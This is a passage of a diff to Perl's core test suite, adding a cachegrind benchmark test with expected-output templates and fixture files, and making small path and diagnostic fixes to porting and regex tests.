+like $out, $format_qrs{raw_average1}, "basic cachegrind raw average format; 1 perl";
+
+# and read back the results with raw selected fields
+
+$out = qx($bench_cmd --read=$resultfile1 --raw --fields=Ir,Dr 2>&1);
+like $out, $format_qrs{fields1}, "basic cachegrind --fields; 1 perl";
+
+# 2 perls:
+
+# read back the results in relative-percent form
+
+$out = qx($bench_cmd --read=$resultfile2 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format; 2 perls";
+
+# read back the results in relative-percent form with norm
+
+$out = qx($bench_cmd --read=$resultfile2 --norm=0 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, norm; 2 perls";
+
+# ditto with negative norm
+
+$out = qx($bench_cmd --read=$resultfile2 --norm=-2 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, norm -2; 2 perls";
+
+# read back the results in relative-percent form with sort
+
+$out = qx($bench_cmd --read=$resultfile2 --sort=Ir:0 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, sort; 2 perls";
+
+# read back the results in relative-percent form with sort and norm
+
+$out = qx($bench_cmd --read=$resultfile2 --sort=Ir:0 --norm=0 2>&1);
+like $out, $format_qrs{percent2}, "basic cachegrind percent format, sort, norm; 2 perls";
+
+# and read back the results in raw form
+
+$out = qx($bench_cmd --read=$resultfile2 --raw 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format; 2 perls";
+
+# and read back the results in raw form with norm
+
+$out = qx($bench_cmd --read=$resultfile2 --raw --norm=0 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format, norm; 2 perls";
+
+# and read back the results in raw form with sort
+
+$out = qx($bench_cmd --read=$resultfile2 --raw --sort=Ir:0 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format, sort, norm; 2 perls";
+
+# and read back the results in raw form with sort and norm
+
+$out = qx($bench_cmd --read=$resultfile2 --raw --sort=Ir:0 --norm=0 2>&1);
+like $out, $format_qrs{raw2}, "basic cachegrind raw format, sort, norm; 2 perls";
+
+# and read back the results in compact form
+
+$out = qx($bench_cmd --read=$resultfile2 --compact=1 2>&1);
+like $out, $format_qrs{compact}, "basic cachegrind compact format; 2 perls";
+
+# and read back the results in average form
+
+$out = qx($bench_cmd --read=$resultfile2 --average 2>&1);
+like $out, $format_qrs{average}, "basic cachegrind average format; 2 perls";
+
+# and read back the results with selected fields
+
+$out = qx($bench_cmd --read=$resultfile2 --fields=Ir,Dr 2>&1);
+like $out, $format_qrs{fields2}, "basic cachegrind --fields; 2 perls";
+
+# and read back the results in compact form with selected fields
+
+$out = qx($bench_cmd --read=$resultfile2 --compact=1 --fields=Ir,Dr 2>&1);
+like $out, $format_qrs{compact_fields}, "basic cachegrind compact, fields; 2 perls";
+
+# and read back the results with 1 selected fields (this is more compact)
+
+$out = qx($bench_cmd --read=$resultfile2 --fields=Ir 2>&1);
+like $out, $format_qrs{'1field'}, "basic cachegrind 1 field; 2 perls";
+
+
+# bisect
+
+# the Ir range here is intended such that the bisect will always fail
+$out = qx($bench_cmd --read=t/porting/bench/callsub.json --tests=call::sub::empty --bisect=Ir,100000,100001 2>&1);
+
+is $?, 1 << 8, "--bisect: exit result: should not match";
+like $out, qr/^Bisect: Ir had the value -?\d+\n/,
+ "--bisect: got expected output";
+
+# multiple reads with differing test sets but common --tests subset
+
+$out = qx($bench_cmd --read=t/porting/bench/callsub.json --read=t/porting/bench/callsub2.json --tests=call::sub::empty 2>&1);
+$out =~ s{\Q./perl perl2}{ p0 p1};
+$out =~ s{^\./perl}{p0}m;
+like $out, $format_qrs{percent2}, "2 reads; overlapping test sets";
+
+# A read defines what benchmarks to run
+
+note("running cachegrind on 1 perl; may be slow...");
+$out = qx($bench_cmd --read=t/porting/bench/callsub.json --tests=call::sub::empty $^X=p1 2>&1);
+$out =~ s{^\./perl}{p0}m;
+$out =~ s{\Q./perl}{ p0};
+like $out, $format_qrs{percent2}, "1 read; 1 generate";
+
+# Process environment and optional args.
+# This is a minimal test that it runs - it doesn't test whether
+# the environment and args are getting applied correctly, apart from the
+# fact that the perls in question are being successfully executed.
+#
+# Also check the --autolabel feature
+
+note("running cachegrind on 2 perls; may be slow...");
+$cmd = <<EOF;
+$bench_cmd
+ --read=t/porting/bench/callsub.json
+ --read=t/porting/bench/callsub2.json
+ --tests=call::sub::empty
+ --autolabel
+ --perlargs=-Ilib
+ $^X --args='-Ifoo/bar -Mstrict' --env='FOO=foo'
+ $^X --args='-Ifoo/bar' --env='BAR=bar' --env='BAZ=baz'
+ 2>&1
+EOF
+$cmd =~ s/\n\s+/ /g;
+$out = qx($cmd);
+$out =~ s{^\./perl}{p0}m;
+$out =~ s{\Q ./perl perl2 p-0 p-1}
+ { p0 p1 p2 p3};
+like $out, $format_qrs{percent4}, "4 perls with autolabel and args and env";
+
+
+done_testing();
+
+
+# Templates for expected output formats.
+#
+# Lines starting with '#' are skipped.
+#
+# Lines of the form 'FORMAT: foo' start and name a new template
+#
+# All other lines are part of the template
+#
+# Entries of the form NNNN.NN are converted into a regex of the form
+# ( \s* -? \d+\.\d\d | - )
+# i.e. it expects number with a fixed number of digits after the point,
+# or a '-'.
+#
+# Any runs of space chars (but not tab) are converted into ' +',
+# or ' *' if at the start of a line
+#
+# Entries of the form --- are converted into [-]+
+#
+# Lines of the form %%FOO%% are substituted with format 'FOO'
+
+
+__END__
+# ===================================================================
+FORMAT: STD_HEADER
+Key:
+ Ir Instruction read
+ Dr Data read
+ Dw Data write
+ COND conditional branches
+ IND indirect branches
+ _m branch predict miss
+ _m1 level 1 cache miss
+ _mm last cache (e.g. L3) miss
+ - indeterminate percentage (e.g. 1/0)
+# ===================================================================
+FORMAT: percent2
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+call::sub::empty
+function call with no args or body
+
+ p0 p1
+ ------ ------
+ Ir 100.00 NNN.NN
+ Dr 100.00 NNN.NN
+ Dw 100.00 NNN.NN
+ COND 100.00 NNN.NN
+ IND 100.00 NNN.NN
+
+COND_m 100.00 NNN.NN
+ IND_m 100.00 NNN.NN
+
+ Ir_m1 100.00 NNN.NN
+ Dr_m1 100.00 NNN.NN
+ Dw_m1 100.00 NNN.NN
+
+ Ir_mm 100.00 NNN.NN
+ Dr_mm 100.00 NNN.NN
+ Dw_mm 100.00 NNN.NN
+# ===================================================================
+FORMAT: percent4
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+call::sub::empty
+function call with no args or body
+
+ p0 p1 p2 p3
+ ------ ------ ------ ------
+ Ir 100.00 NNN.NN NNN.NN NNN.NN
+ Dr 100.00 NNN.NN NNN.NN NNN.NN
+ Dw 100.00 NNN.NN NNN.NN NNN.NN
+ COND 100.00 NNN.NN NNN.NN NNN.NN
+ IND 100.00 NNN.NN NNN.NN NNN.NN
+
+COND_m 100.00 NNN.NN NNN.NN NNN.NN
+ IND_m 100.00 NNN.NN NNN.NN NNN.NN
+
+ Ir_m1 100.00 NNN.NN NNN.NN NNN.NN
+ Dr_m1 100.00 NNN.NN NNN.NN NNN.NN
+ Dw_m1 100.00 NNN.NN NNN.NN NNN.NN
+
+ Ir_mm 100.00 NNN.NN NNN.NN NNN.NN
+ Dr_mm 100.00 NNN.NN NNN.NN NNN.NN
+ Dw_mm 100.00 NNN.NN NNN.NN NNN.NN
+# ===================================================================
+FORMAT: fields2
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+call::sub::empty
+function call with no args or body
+
+ p0 p1
+ ------ ------
+ Ir 100.00 NNN.NN
+ Dr 100.00 NNN.NN
+# ===================================================================
+FORMAT: raw1
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+call::sub::empty
+function call with no args or body
+
+ p0
+ --------
+ Ir NNNNNN.N
+ Dr NNNNNN.N
+ Dw NNNNNN.N
+ COND NNNNNN.N
+ IND NNNNNN.N
+
+COND_m NNNNNN.N
+ IND_m NNNNNN.N
+
+ Ir_m1 NNNNNN.N
+ Dr_m1 NNNNNN.N
+ Dw_m1 NNNNNN.N
+
+ Ir_mm NNNNNN.N
+ Dr_mm NNNNNN.N
+ Dw_mm NNNNNN.N
+# ===================================================================
+FORMAT: raw_average1
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+AVERAGE
+
+ p0
+ --------
+ Ir NNNNNN.N
+ Dr NNNNNN.N
+ Dw NNNNNN.N
+ COND NNNNNN.N
+ IND NNNNNN.N
+
+COND_m NNNNNN.N
+ IND_m NNNNNN.N
+
+ Ir_m1 NNNNNN.N
+ Dr_m1 NNNNNN.N
+ Dw_m1 NNNNNN.N
+
+ Ir_mm NNNNNN.N
+ Dr_mm NNNNNN.N
+ Dw_mm NNNNNN.N
+# ===================================================================
+FORMAT: fields1
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+call::sub::empty
+function call with no args or body
+
+ p0
+ --------
+ Ir NNNNNN.N
+ Dr NNNNNN.N
+# ===================================================================
+FORMAT: raw2
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
+
+call::sub::empty
+function call with no args or body
+
+ p0 p1
+ -------- --------
+ Ir NNNNNN.N NNNNNN.N
+ Dr NNNNNN.N NNNNNN.N
+ Dw NNNNNN.N NNNNNN.N
+ COND NNNNNN.N NNNNNN.N
+ IND NNNNNN.N NNNNNN.N
+
+COND_m NNNNNN.N NNNNNN.N
+ IND_m NNNNNN.N NNNNNN.N
+
+ Ir_m1 NNNNNN.N NNNNNN.N
+ Dr_m1 NNNNNN.N NNNNNN.N
+ Dw_m1 NNNNNN.N NNNNNN.N
+
+ Ir_mm NNNNNN.N NNNNNN.N
+ Dr_mm NNNNNN.N NNNNNN.N
+ Dw_mm NNNNNN.N NNNNNN.N
+# ===================================================================
+FORMAT: compact
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+Results for p1
+
+ Ir Dr Dw COND IND COND_m IND_m Ir_m1 Dr_m1 Dw_m1 Ir_mm Dr_mm Dw_mm
+ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------
+ NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN NNN.NN call::sub::empty function call with no args or body
+# ===================================================================
+FORMAT: compact_fields
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+Results for p1
+
+ Ir Dr
+ ------ ------
+ NNN.NN NNN.NN call::sub::empty function call with no args or body
+# ===================================================================
+FORMAT: 1field
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+Results for field Ir
+
+ p0 p1
+ ------ ------
+call::sub::empty NNN.NN NNN.NN
+# ===================================================================
+FORMAT: average
+%%STD_HEADER%%
+
+The numbers represent relative counts per loop iteration, compared to
+p0 at 100.0%.
+Higher is better: for example, using half as many instructions gives 200%,
+while using twice as many gives 50%.
+
+AVERAGE
+
+ p0 p1
+ ------ ------
+ Ir 100.00 NNN.NN
+ Dr 100.00 NNN.NN
+ Dw 100.00 NNN.NN
+ COND 100.00 NNN.NN
+ IND 100.00 NNN.NN
+
+COND_m 100.00 NNN.NN
+ IND_m 100.00 NNN.NN
+
+ Ir_m1 100.00 NNN.NN
+ Dr_m1 100.00 NNN.NN
+ Dw_m1 100.00 NNN.NN
+
+ Ir_mm 100.00 NNN.NN
+ Dr_mm 100.00 NNN.NN
+ Dw_mm 100.00 NNN.NN
+# ===================================================================
+FORMAT: raw_compact
+%%STD_HEADER%%
+
+The numbers represent raw counts per loop iteration.
-require 't/test.pl';
-my $source = find_git_or_skip('all');
-chdir $source or die "Can't chdir to $source: $!";
+Results for p0
-system "$^X Porting/bench.pl --action=selftest";
+ Ir Dr Dw COND IND COND_m IND_m Ir_m1 Dr_m1 Dw_m1 Ir_mm Dr_mm Dw_mm
+ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------ ------
+ NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N NNNNN.N call::sub::empty function call with no args or body
+# ===================================================================
diff --git a/gnu/usr.bin/perl/t/porting/bench/badhash b/gnu/usr.bin/perl/t/porting/bench/badhash
new file mode 100644
index 00000000000..38dd473392f
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/badhash
@@ -0,0 +1,15 @@
+#!perl
+# for the use of t/porting/bench.pl.
+#
+# A file to load which has an invalid hash key
+
+
+[
+ 'foo::bar' => {
+ desc => 'my $x = "abc"',
+ setup => '',
+ code => 'my $x = "abc"',
+ blah => 1,
+ },
+];
+
diff --git a/gnu/usr.bin/perl/t/porting/bench/badname b/gnu/usr.bin/perl/t/porting/bench/badname
new file mode 100644
index 00000000000..f3de2d8ae40
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/badname
@@ -0,0 +1,14 @@
+#!perl
+# for the use of t/porting/bench.pl.
+#
+# A file to load which has an invalid test name
+
+
+[
+ '1=' => {
+ desc => 'my $x = "abc"',
+ setup => '',
+ code => 'my $x = "abc"',
+ },
+];
+
diff --git a/gnu/usr.bin/perl/t/porting/bench/badversion.json b/gnu/usr.bin/perl/t/porting/bench/badversion.json
new file mode 100644
index 00000000000..0a344cbe57a
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/badversion.json
@@ -0,0 +1 @@
+{"version":9999.9} \ No newline at end of file
diff --git a/gnu/usr.bin/perl/t/porting/bench/callsub.json b/gnu/usr.bin/perl/t/porting/bench/callsub.json
new file mode 100644
index 00000000000..707db5e30a6
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/callsub.json
@@ -0,0 +1 @@
+{"version":1,"results":{"call::sub::empty":{"./perl":[[{"COND":"297398","Ir":"2101154","Dr_m1":"10892","Ir_mm":"6966","Ir_m1":"36832","Dr_mm":"3664","IND_m":"2003","IND":"10908","Dr":"789745","Dw":"289806","COND_m":"23993","Dw_mm":"4591","Dw_m1":"5421"},{"Dr":"791632","IND":"10948","IND_m":"2043","Dr_mm":"3664","Ir_m1":"36844","Ir_mm":"6975","Dr_m1":"10893","Ir":"2105140","COND":"297817","Dw_m1":"5421","Dw_mm":"4591","Dw":"290156","COND_m":"23991"}],[{"Ir_mm":"7124","Dr_m1":"10946","Ir":"2130347","COND":"300492","Dr":"802097","IND":"11024","IND_m":"2070","Dr_mm":"3668","Ir_m1":"37944","Dw_mm":"4627","COND_m":"24559","Dw":"293963","Dw_m1":"5467"},{"Dr_m1":"10947","Ir_mm":"7133","COND":"301931","Ir":"2147523","IND":"11124","IND_m":"2160","Dr":"809954","Ir_m1":"37954","Dr_mm":"3668","Dw_mm":"4627","Dw":"296213","COND_m":"24559","Dw_m1":"5467"}]]},"call::sub::amp_empty":{"./perl":[[{"Dr_mm":"3677","Ir_m1":"37759","Dr":"800478","IND_m":"2032","IND":"11008","Ir":"2127773","COND":"300681","Ir_mm":"7132","Dr_m1":"10977","Dw_m1":"5475","Dw":"293507","COND_m":"24712","Dw_mm":"4627"},{"Dr_m1":"10979","Ir_mm":"7141","COND":"301100","Ir":"2131759","IND":"11048","IND_m":"2072","Dr":"802365","Ir_m1":"37771","Dr_mm":"3677","Dw_mm":"4627","COND_m":"24710","Dw":"293857","Dw_m1":"5475"}],[{"Dw_m1":"5472","COND_m":"24970","Dw":"296257","Dw_mm":"4631","Ir_m1":"38421","Dr_mm":"3678","IND_m":"2092","IND":"11091","Dr":"809099","COND":"302694","Ir":"2147625","Dr_m1":"10976","Ir_mm":"7222"},{"Dw":"298107","COND_m":"24970","Dw_mm":"4631","Dw_m1":"5472","Ir":"2161791","COND":"303873","Ir_mm":"7231","Dr_m1":"10977","Dr_mm":"3678","Ir_m1":"38430","Dr":"815606","IND_m":"2182","IND":"11181"}]]}},"loop_counts":[10,20],"tests":{"call::sub::amp_empty":{"code":"&f","setup":"sub f { }; @_ = ();","desc":"&foo function call with no args or body"},"call::sub::empty":{"setup":"sub f { }","code":"f()","desc":"function call with no args or body"}},"order":["call::sub::empty","call::sub::amp_empty"],"perls":[["./perl","./perl",{}]]} \ No newline at end of file
diff --git a/gnu/usr.bin/perl/t/porting/bench/callsub2.json b/gnu/usr.bin/perl/t/porting/bench/callsub2.json
new file mode 100644
index 00000000000..9d7cdedcf94
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/callsub2.json
@@ -0,0 +1 @@
+{"version":1,"results":{"call::sub::args3":{"perl2":[[{"Dw_m1":"5462","IND_m":"2063","COND_m":"25006","COND":"302639","IND":"11105","Dr":"808316","Ir":"2146584","Dw_mm":"4617","Dr_m1":"11009","Ir_m1":"38384","Dw":"296153","Ir_mm":"7121","Dr_mm":"3682"},{"Ir_mm":"7130","Dr_mm":"3682","Dw":"296503","Ir_m1":"38396","Dr_m1":"11010","COND":"303058","Dw_mm":"4617","Dr":"810203","IND":"11145","Ir":"2150570","Dw_m1":"5462","COND_m":"25004","IND_m":"2103"}],[{"Dw_m1":"5506","COND_m":"25896","IND_m":"2194","COND":"309734","Dw_mm":"4655","IND":"11355","Dr":"836351","Ir":"2212415","Dr_m1":"11087","Ir_m1":"39818","Dr_mm":"3687","Ir_mm":"7362","Dw":"305095"},{"Dr_m1":"11088","Ir_m1":"39828","Ir_mm":"7371","Dr_mm":"3687","Dw":"310215","IND_m":"2334","COND_m":"25975","Dw_m1":"5506","Dw_mm":"4655","Dr":"854338","IND":"11535","Ir":"2252481","COND":"313493"}]]},"call::sub::empty":{"perl2":[[{"Dr_m1":"10892","Ir_m1":"36832","Ir_mm":"6966","Dr_mm":"3664","Dw":"289806","Dw_m1":"5421","IND_m":"2003","COND_m":"23993","COND":"297398","Dw_mm":"4591","Dr":"789745","IND":"10908","Ir":"2101154"},{"COND":"297817","Dw_mm":"4591","Ir":"2105140","IND":"10948","Dr":"791632","Dw_m1":"5421","IND_m":"2043","COND_m":"23991","Dr_mm":"3664","Ir_mm":"6975","Dw":"290156","Dr_m1":"10893","Ir_m1":"36844"}],[{"Dr_mm":"3668","Ir_mm":"7124","Dw":"293963","Dr_m1":"10946","Ir_m1":"37944","Dw_mm":"4627","Ir":"2130347","IND":"11024","Dr":"802097","COND":"300492","COND_m":"24559","IND_m":"2070","Dw_m1":"5467"},{"Ir_m1":"37954","Dr_m1":"10947","Dw":"296213","Ir_mm":"7133","Dr_mm":"3668","COND_m":"24559","IND_m":"2160","Dw_m1":"5467","Ir":"2147523","IND":"11124","Dr":"809954","Dw_mm":"4627","COND":"301931"}]]}},"perls":[["./perl","perl2",{}]],"tests":{"call::sub::empty":{"desc":"function call with no args or body","setup":"sub f { }","code":"f()"},"call::sub::args3":{"setup":"sub f { my ($a, $b, $c) = @_; 1 }","desc":"function call with 3 local lexical vars","code":"f(1,2,3)"}},"order":["call::sub::empty","call::sub::args3"],"loop_counts":[10,20]} \ No newline at end of file
diff --git a/gnu/usr.bin/perl/t/porting/bench/oddentry b/gnu/usr.bin/perl/t/porting/bench/oddentry
new file mode 100644
index 00000000000..baca03ae176
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/oddentry
@@ -0,0 +1,10 @@
+#!perl
+# for the use of t/porting/bench.pl.
+#
+# A file to load which has an odd number of test/hash pairs
+
+
+[
+ 'foo::bar',
+];
+
diff --git a/gnu/usr.bin/perl/t/porting/bench/ret0 b/gnu/usr.bin/perl/t/porting/bench/ret0
new file mode 100644
index 00000000000..fca978e057e
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/ret0
@@ -0,0 +1,6 @@
+#!perl
+# for the use of t/porting/bench.pl.
+# A file to load which returns 0
+
+
+0;
diff --git a/gnu/usr.bin/perl/t/porting/bench/synerr b/gnu/usr.bin/perl/t/porting/bench/synerr
new file mode 100644
index 00000000000..6e85f34721e
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench/synerr
@@ -0,0 +1,6 @@
+#!perl
+# for the use of t/porting/bench.pl.
+# A file to load which has a syntax error
+
+
+[
diff --git a/gnu/usr.bin/perl/t/porting/bench_selftest.t b/gnu/usr.bin/perl/t/porting/bench_selftest.t
new file mode 100644
index 00000000000..d15474c1c8f
--- /dev/null
+++ b/gnu/usr.bin/perl/t/porting/bench_selftest.t
@@ -0,0 +1,10 @@
+#!./perl -w
+
+# run Porting/bench.pl's selftest
+
+use strict;
+
+chdir '..' if -f 'test.pl' && -f 'thread_it.pl';
+require './t/test.pl';
+
+system "$^X -I. -MTestInit Porting/bench.pl --action=selftest";
diff --git a/gnu/usr.bin/perl/t/porting/copyright.t b/gnu/usr.bin/perl/t/porting/copyright.t
index ab6226acb26..8a469cda89e 100644
--- a/gnu/usr.bin/perl/t/porting/copyright.t
+++ b/gnu/usr.bin/perl/t/porting/copyright.t
@@ -18,11 +18,9 @@ working on older releases. It should be run before making a new release.
=cut
-
-use TestInit;
use strict;
use Config;
-BEGIN { require 'test.pl' }
+BEGIN { require './test.pl' }
if ( $Config{usecrosscompile} ) {
skip_all( "Not all files are available during cross-compilation" );
diff --git a/gnu/usr.bin/perl/t/porting/corelist.t b/gnu/usr.bin/perl/t/porting/corelist.t
index 251a2603cc1..2ae703f6f9a 100644
--- a/gnu/usr.bin/perl/t/porting/corelist.t
+++ b/gnu/usr.bin/perl/t/porting/corelist.t
@@ -6,13 +6,12 @@ use TestInit qw(T);
use strict;
use Config;
-require 't/test.pl';
+require './t/test.pl';
-plan(tests => 6);
+plan(tests => 5);
use_ok('Module::CoreList');
use_ok('Module::CoreList::Utils');
-use_ok('Module::CoreList::TieHashDelta');
{
no warnings 'once';
diff --git a/gnu/usr.bin/perl/t/porting/extrefs.t b/gnu/usr.bin/perl/t/porting/extrefs.t
index 2e911e7a0b8..f8cb6acd3bf 100644
--- a/gnu/usr.bin/perl/t/porting/extrefs.t
+++ b/gnu/usr.bin/perl/t/porting/extrefs.t
@@ -70,13 +70,14 @@ sub try_compile_and_link {
return 0;
}
- my $COREincdir = File::Spec->catdir(File::Spec->updir);
+ my $COREincdir =
+ File::Spec->catdir(File::Spec->updir, File::Spec->updir);
my $ccflags = $Config{'ccflags'} . ' ' . "-I$COREincdir"
. ' -DPERL_NO_INLINE_FUNCTIONS';
if ($^O eq "MSWin32") {
- $ccflags .= " -I../win32 -I../win32/include";
+ $ccflags .= " -I../../win32 -I../../win32/include";
}
my $libs = '';
diff --git a/gnu/usr.bin/perl/t/porting/libperl.t b/gnu/usr.bin/perl/t/porting/libperl.t
index 00f26067382..1536fda9440 100644
--- a/gnu/usr.bin/perl/t/porting/libperl.t
+++ b/gnu/usr.bin/perl/t/porting/libperl.t
@@ -129,7 +129,7 @@ if (defined $nm_style) {
}
}
-if ($^O eq 'linux' && $Config{archname} !~ /^x86/) {
+if ($^O eq 'linux' && $Config{archname} !~ /^(?:x|i6)86/) {
# For example in ppc most (but not all!) code symbols are placed
# in 'D' (data), not in ' T '. We cannot work under such conditions.
skip_all "linux but archname $Config{archname} not x86*";
@@ -176,6 +176,7 @@ if (defined $fake_input) {
}
undef $nm_err_tmp; # In this case there will be no nm errors.
} else {
+ print qq{# command: "$nm $nm_opt $libperl_a 2>$nm_err_tmp |"\n};
open($nm_fh, "$nm $nm_opt $libperl_a 2>$nm_err_tmp |") or
skip_all "$nm $nm_opt $libperl_a failed: $!";
}
@@ -280,7 +281,7 @@ sub nm_parse_darwin {
} elsif (/^ {8}(?: {8})? \(undefined(?: \[lazy bound\])?\) external _?(.+)/) {
# darwin/ppc marks most undefined text symbols
# as "[lazy bound]".
- my ($symbol) = $1;
+ my ($symbol) = $1 =~ s/\$UNIX2003\z//r;
return if is_perlish_symbol($symbol);
$symbols->{undef}{$symbol}{$symbols->{o}}++;
return;
@@ -348,12 +349,29 @@ if ($GSP) {
ok(!exists $data_symbols{PL_hash_seed}, "has no PL_hash_seed");
ok(!exists $data_symbols{PL_ppaddr}, "has no PL_ppaddr");
- ok(! exists $symbols{data}{bss}, "has no data bss symbols");
+ ok(! exists $symbols{data}{bss}, "has no data bss symbols")
+ or do {
+ my $bad = "BSS entries (there are supposed to be none):\n";
+ $bad .= " bss sym: $_\n" for sort keys %{$symbols{data}{bss}};
+ diag($bad);
+ };
+
ok(! exists $symbols{data}{data} ||
# clang with ASAN seems to add this symbol to every object file:
!grep($_ ne '__unnamed_1', keys %{$symbols{data}{data}}),
- "has no data data symbols");
- ok(! exists $symbols{data}{common}, "has no data common symbols");
+ "has no data data symbols")
+ or do {
+ my $bad = "DATA entries (there are supposed to be none):\n";
+ $bad .= " data sym: $_\n" for sort keys %{$symbols{data}{data}};
+ diag($bad);
+ };
+
+ ok(! exists $symbols{data}{common}, "has no data common symbols")
+ or do {
+ my $bad = "COMMON entries (there are supposed to be none):\n";
+ $bad .= " common sym: $_\n" for sort keys %{$symbols{data}{common}};
+ diag($bad);
+ };
# -DPERL_GLOBAL_STRUCT_PRIVATE should NOT have
# the extra text symbol for accessing the vars
@@ -364,7 +382,13 @@ if ($GSP) {
ok(!exists $data_symbols{PL_hash_seed}, "has no PL_hash_seed");
ok(!exists $data_symbols{PL_ppaddr}, "has no PL_ppaddr");
- ok(! exists $symbols{data}{bss}, "has no data bss symbols");
+ ok(! exists $symbols{data}{bss}, "has no data bss symbols")
+ or do {
+ my $bad = "BSS entries (there are supposed to be none):\n";
+ $bad .= " bss sym: $_\n" for sort keys %{$symbols{data}{bss}};
+ diag($bad);
+ };
+
# These PerlIO data symbols are left visible with
# -DPERL_GLOBAL_STRUCT (as opposed to -DPERL_GLOBAL_STRUCT_PRIVATE)
diff --git a/gnu/usr.bin/perl/t/porting/pending-author.t b/gnu/usr.bin/perl/t/porting/pending-author.t
index 4dceaf6464b..883e5343345 100644
--- a/gnu/usr.bin/perl/t/porting/pending-author.t
+++ b/gnu/usr.bin/perl/t/porting/pending-author.t
@@ -27,19 +27,15 @@ use TestInit qw(T); # T is chdir to the top level
use strict;
use File::Spec;
-require 't/test.pl';
+require './t/test.pl';
find_git_or_skip('all');
my $devnull = File::Spec->devnull;
-my $changes;
-foreach (`git status --porcelain 2>$devnull`) {
- next if /^\?\?/;
- ++$changes;
- last;
-}
-
-skip_all("No pending changes (or git status --porcelain doesn't work here)")
- unless $changes;
+my @lines = `git status --porcelain 2>$devnull`;
+skip_all("git status --porcelain doesn't seem to work here")
+ if $? != 0;
+skip_all("No pending changes")
+ if !grep !/^\?\?/, @lines;
sub get {
my $key = shift;
diff --git a/gnu/usr.bin/perl/t/porting/test_bootstrap.t b/gnu/usr.bin/perl/t/porting/test_bootstrap.t
index 77df867f284..03a9a8ce831 100755
--- a/gnu/usr.bin/perl/t/porting/test_bootstrap.t
+++ b/gnu/usr.bin/perl/t/porting/test_bootstrap.t
@@ -16,12 +16,15 @@ plan('no_plan');
open my $fh, '<', '../MANIFEST' or die "Can't open MANIFEST: $!";
-# Three tests in t/comp need to use require or use to get their job done:
-my %exceptions = (hints => "require './test.pl'",
- parser => 'use DieDieDie',
- proto => 'use strict',
- );
-
+# Some tests in t/comp need to use require or use to get their job done:
+my %exceptions = (
+ filter_exception => "require './test.pl'",
+ hints => "require './test.pl'",
+ parser => 'use DieDieDie',
+ parser_run => "require './test.pl'",
+ proto => 'use strict',
+ );
+
while (my $file = <$fh>) {
next unless $file =~ s!^t/!!;
chomp $file;
diff --git a/gnu/usr.bin/perl/t/re/alpha_assertions.t b/gnu/usr.bin/perl/t/re/alpha_assertions.t
new file mode 100644
index 00000000000..3d28bbcdd25
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/alpha_assertions.t
@@ -0,0 +1,18 @@
+#!./perl
+
+use strict;
+use warnings;
+no warnings 'once';
+
+# This tests that the alphabetic assertions, like '(*atomic:...) work
+# It just sets a flag and calls regexp.t which will run through its test
+# suite, modifiying the tests to use the alphabetic synonyms.
+
+BEGIN { $::alpha_assertions = 1; }
+for my $file ('./re/regexp.t', './t/re/regexp.t', ':re:regexp.t') {
+ if (-r $file) {
+ do $file or die $@;
+ exit;
+ }
+}
+die "Cannot find ./re/regexp.t or ./t/re/regexp.t\n";
diff --git a/gnu/usr.bin/perl/t/re/anyof.t b/gnu/usr.bin/perl/t/re/anyof.t
new file mode 100644
index 00000000000..12fb9b3a8cf
--- /dev/null
+++ b/gnu/usr.bin/perl/t/re/anyof.t
@@ -0,0 +1,370 @@
+#!./perl
+
+use utf8;
+
+# This tests that the ANYOF nodes generated by bracketed character classes are
+# as expected. The representation of these is not guaranteed, and this test
+# may need to be updated if it changes. But it is here to make sure that no
+# unexpected changes occur. These could come from faulty generation of the
+# node, or faulty display of them (or both). Because these causes come from
+# very different parts of the regex compiler, it is unlikely that a commit
+# would change both of them, so this test will adequately serve to test both.
+
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+ set_up_inc('../lib','.','../ext/re');
+ require Config; import Config;
+ skip_all('no re module') unless defined &DynaLoader::boot_DynaLoader;
+}
+
+# An array is used instead of a hash, so that the tests are carried out in the
+# order given by this file. Even-numbered indices are the regexes to compile.
+# The next higher element is the expected compilation result.
+#
